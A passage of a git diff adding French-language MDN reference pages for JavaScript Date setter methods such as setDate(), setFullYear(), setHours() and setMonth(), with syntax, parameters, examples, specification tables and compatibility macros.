+<p>Par exemple, si 0 est fourni pour <code>valeurJour</code>, la date sera défini sur le dernier jour du mois précédent.</p>
+
+<p>Si on fournit un nombre négatif, la date sera déterminée à rebours à partir du dernier jour du mois précédent. Ainsi, avec -1, on obtiendrait la veille du dernier jour du mois précédent.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setDate()">Utiliser <code>setDate()</code></h3>
+
+<pre class="brush:js">var theBigDay = new Date(1962, 6, 7); // 1962-07-06T23:00:00.000Z
+theBigDay.setDate(24);   // 1962-07-23T23:00:00.000Z
+theBigDay.setDate(32);   // 1962-07-31T23:00:00.000Z
+theBigDay.setDate(22);   // 1962-08-21T23:00:00.000Z
+theBigDay.setDate(0);    // 1962-07-30T23:00:00.000Z
+theBigDay.setDate(98);   // 1962-10-05T23:00:00.000Z
+theBigDay.setDate(-50);  // 1962-08-10T23:00:00.000Z</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.36', 'Date.prototype.setDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setDate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setfullyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setfullyear/index.html
new file mode 100644
index 0000000000..ffc97b61d0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setfullyear/index.html
@@ -0,0 +1,97 @@
+---
+title: Date.prototype.setFullYear()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setFullYear
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setFullYear()</strong></code> définit l'année complête pour une date, d'après l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setfullyear.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setFullYear(valeurAnnée[, valeurMois[, valeurJour]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurAnnée</code></dt>
+ <dd>Un entier indiquant la valeur numérique de l'année, par exemple, 1995.</dd>
+ <dt><code>valeurMois</code></dt>
+ <dd>Paramètre optionnel qui représente un entier entre 0 et 11, représentant les mois de janvier à décembre.</dd>
+ <dt><code>valeurJour</code></dt>
+ <dd>Paramètre optionnel qui représente un entier entre 1 et 31 représentant le jour du mois. Si vous indiquez une <code>valeurJour</code>, vous devez aussi indiquer <code>valeurMois</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si vous n'indiquez pas les paramètres <code>valeurMois</code> et <code>valeurJour</code>. Les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getMonth()", "getMonth()")}} et {{jsxref("Date.prototype.getDate()", "getDate()")}} seront utilisées.</p>
+
+<p>Si un des paramètres que vous indiquez est en dehors des limites attendues, <code>setFullYear()</code> tentera de mettre à jour la date en conséquence. Pa exemple, si vous indiquez 15 pour <code>valeurMois</code>, l'année sera incrémenté de 1 (année + 1), et 3 sera utilisé pour le mois.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setFullYear()">Utiliser <code>setFullYear()</code></h3>
+
+<pre class="brush:js">var leGrandJour = new Date();
+leGrandJour.setFullYear(1997);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setFullYear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/sethours/index.html b/files/fr/web/javascript/reference/objets_globaux/date/sethours/index.html
new file mode 100644
index 0000000000..fba8af3e49
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/sethours/index.html
@@ -0,0 +1,103 @@
+---
+title: Date.prototype.setHours()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setHours
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setHours()</strong></code> définit les heures pour une date donnée, selon l'heure locale, et renvoie le nombre de millièmes de secondes écoulées entre le 1er janvier 1970 00:00:00 UTC et la nouvelle date mise à jour.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-sethours.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.setHours(valeurHeures[, valeurMinutes[, valeurSecondes[, valeurMs]]])
+</pre>
+
+<h3 id="Versions_antérieures_à_JavaScript_1.3">Versions antérieures à JavaScript 1.3</h3>
+
+<pre class="syntaxbox">dateObj.setHours(valeurHeures)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurHeures</code></dt>
+ <dd>Un entier normalement compris entre 0 et 23, représentant l'heure. Si la valeur est supérieure à 23, la valeur de l'heure sera incrémentée d'autant d'heures supplémentaires.</dd>
+ <dt><code>valeurMinutes</code></dt>
+ <dd>Paramètre optionnel, un entier normalement compris entre 0 et 59, représentant les minutes. Si la valeur est supérieure à 59, la valeur de l'heure sera incrémentée d'autant de minutes supplémentaires.</dd>
+ <dt><code>valeurSecondes</code></dt>
+ <dd>Paramètre optionnel, un entier normalement compris entre 0 et 59, représentant les secondes. Si vous indiquez le paramètre <code>valeurSecondes</code>, vous devez aussi renseigner <code>valeurMinutes</code>. Si la valeur est supérieure à 59, l'heure sera incrémentée d'autant de secondes supplémentaires.</dd>
+ <dt><code>valeurMs</code></dt>
+ <dd>Paramètre optionnel, un entier normalement compris entre 0 et 999, représentant les millièmes de secondes. Si vous indiquez <code>valeurMs</code>, vous devez aussi renseigner <code>valeurMinutes</code> et <code>valeurSecondes</code>. Si la valeur fournie est supérieure à 999, l'heure sera incrémentée d'autant de millisecondes supplémentaires.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si vous ne renseignez pas <code>valeurMinutes</code>, <code>valeurSecondes</code> et <code>valeurMs</code>, les valeurs renvoyées par les méthodes {{jsxref("Date.getMinutes", "getMinutes()")}}, {{jsxref("Date.getSeconds", "getSeconds()")}}, et {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} seront utilisées.</p>
+
+<p>Si un des paramètres que vous renseignez est en dehors des limites attendues, <code>setHours()</code> tentera de mettre à jour la date en conséquence. Par exemple, si vous utilisez 100 pour <code>valeurSecondes</code>, les minutes seront incrémentées de 1 (min + 1), et 40 sera utilisé pour les secondes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setHours()">Utiliser <code>setHours()</code></h3>
+
+<pre class="brush:js">var leGrandJour = new Date();
+leGrandJour.setHours(7);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.34', 'Date.prototype.setHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setHours")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setmilliseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setmilliseconds/index.html
new file mode 100644
index 0000000000..d043689b4b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setmilliseconds/index.html
@@ -0,0 +1,90 @@
+---
+title: Date.prototype.setMilliseconds()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setMilliseconds()</strong></code> définit les millièmes de secondes pour la date, selon l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setmilliseconds.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setMilliseconds(valeurMs)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurMs</code></dt>
+ <dd>Un entier entre 0 et 999, représentant les millièmes de secondes.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si vous indiquez un nombre en dehors des limites attendues, la date sera mise à jour en conséquence. Par exemple, si vous indiquez 1005, le nombre des secondes sera incrémenté de 1, et 5 sera utilisé pour les millièmes de secondes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setMilliseconds()">Utiliser <code>setMilliseconds()</code></h3>
+
+<pre class="brush:js">var leGrandJour = new Date();
+leGrandJour.setMilliseconds(100);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.28', 'Date.prototype.setMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setMilliseconds")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setminutes/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setminutes/index.html
new file mode 100644
index 0000000000..ac856d4a5e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setminutes/index.html
@@ -0,0 +1,106 @@
+---
+title: Date.prototype.setMinutes()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setMinutes
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setMinutes()</strong></code> définit les minutes pour la date donnée, selon l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setminutes.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setMinutes(valeurMinutes[, valeurSecondes[, valeurMs]])</pre>
+
+<h3 id="Versions_antérieures_à_JavaScript_1.3">Versions antérieures à JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><var>dateObj</var>.setMinutes(valeurMinutes)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurMinutes</code></dt>
+ <dd>Un entier entre 0 et 59, représentant les minutes.</dd>
+</dl>
+
+<dl>
+ <dt><code>valeurSecondes</code></dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si <code>valeurSecondes</code> est utilisé, il faut également utiliser <code>valeurMinutes</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>valeurMs</code></dt>
+ <dd>Paramètre optionel, un nombre entre 0 et 999, représentant les millièmes de secondes. Si <code>valeurMs</code> est utilisé, il faut également utiliser <code>valeurMinutes</code> et <code>valeurSecondes</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si <code>valeurSecondes</code> et <code>valeurMs</code> ne sont pas indiquées, les valeurs renvoyées par les méthodes {{jsxref("Date.getSeconds", "getSeconds()")}} et {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} seront utilisées.</p>
+
+<p>Si un paramètre est en dehors des limites attendues, <code>setMinutes()</code> tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour <code>valeurSecondes</code>, les minutes (<code>valeurMinutes</code>) seront incrémentées de 1 (<code>valeurMinutes</code> + 1), et 40 sera utilisé pour les secondes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setMinutes()">Utiliser <code>setMinutes()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setMinutes(45);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.32', 'Date.prototype.setMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setMinutes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setmonth/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setmonth/index.html
new file mode 100644
index 0000000000..7b93420bfd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setmonth/index.html
@@ -0,0 +1,110 @@
+---
+title: Date.prototype.setMonth()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setMonth
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setMonth()</strong></code> définit le mois de la date, selon l'heure locale et l'année courante de l'objet {{jsxref("Date")}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setmonth.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setMonth(valeurMois[, valeurJour])</pre>
+
+<h3 id="Versions_antérieures_à_JavaScript_1.3">Versions antérieures à JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><var>dateObj</var>.setMonth(valeurMois)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurMois</code></dt>
+ <dd>Un entier entre 0 et 11 (représentant les mois de janvier à décembre).</dd>
+</dl>
+
+<dl>
+ <dt><code>valeurJour</code></dt>
+ <dd>Paramètre optionnel, un entier entre 1 et 31, représentant le jour du mois.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si le paramètre <code>valeurJour</code> n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.getDate", "getDate()")}} sera utilisée.</p>
+
+<p>Si un paramètre que vous renseignez n'est pas dans les limites attendues, <code>setMonth()</code> tentera de mettre à jour la date en conséquence. Par exemple, si la valeur 15 est utilisée pour <code>valeurMois</code>, l'année sera incrémenté de 1 (année + 1), et 3 sera utilisé pour le mois.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Attention aux jours du mois lorsqu'on utilise <code>setMonth()</code>. En effet, <code>setMonth()</code> cherchera à aboutir à une date correcte et on peut avoir des surprises pour les transitions entre les mois. Ainsi, en 2016 (où février a eu 29 jours), on aura le cas suivant :</p>
+
+<pre class="brush: js">var finDuMois = new Date(2016, 7, 31); // le 31 août 2016
+finDuMois.setMonth(1);
+
+console.log(finDuMois.toLocaleString()); // 02/03/2016 à 00:00:00</pre>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setMonth()">Utiliser <code>setMonth()</code></h3>
+
+<pre class="brush: js">var leGrandJour = new Date();
+leGrandJour.setMonth(6);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.38', 'Date.prototype.setMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setMonth")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setseconds/index.html
new file mode 100644
index 0000000000..a9884c31d7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setseconds/index.html
@@ -0,0 +1,98 @@
+---
+title: Date.prototype.setSeconds()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setSeconds
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setSeconds()</strong></code> définit les secondes pour la date, selon l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setseconds.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setSeconds(valeurSecondes[, valeurMs])</pre>
+
+<h3 id="Versions_antérieures_à_JavaScript_1.3">Versions antérieures à JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><var>dateObj</var>.setSeconds(valeurSecondes)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurSecondes</code></dt>
+ <dd>Un entier entre 0 et 59.</dd>
+ <dt><code>valeurMs</code></dt>
+ <dd>Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si le paramètre <code>valeurMs</code> n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} sera utilisée.</p>
+
+<p>Si un paramètre utilisé est en dehors des limites attendues, <code>setSeconds()</code> tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour <code>valeurSecondes</code>, les minutes de la date seront incrémentées de 1, et 40 sera utilisé pour les secondes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_setSeconds()">Utiliser <code>setSeconds()</code></h3>
+
+<pre class="brush:js">var leGrandJour = new Date();
+leGrandJour.setSeconds(30)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.30', 'Date.prototype.setSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.setSeconds")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
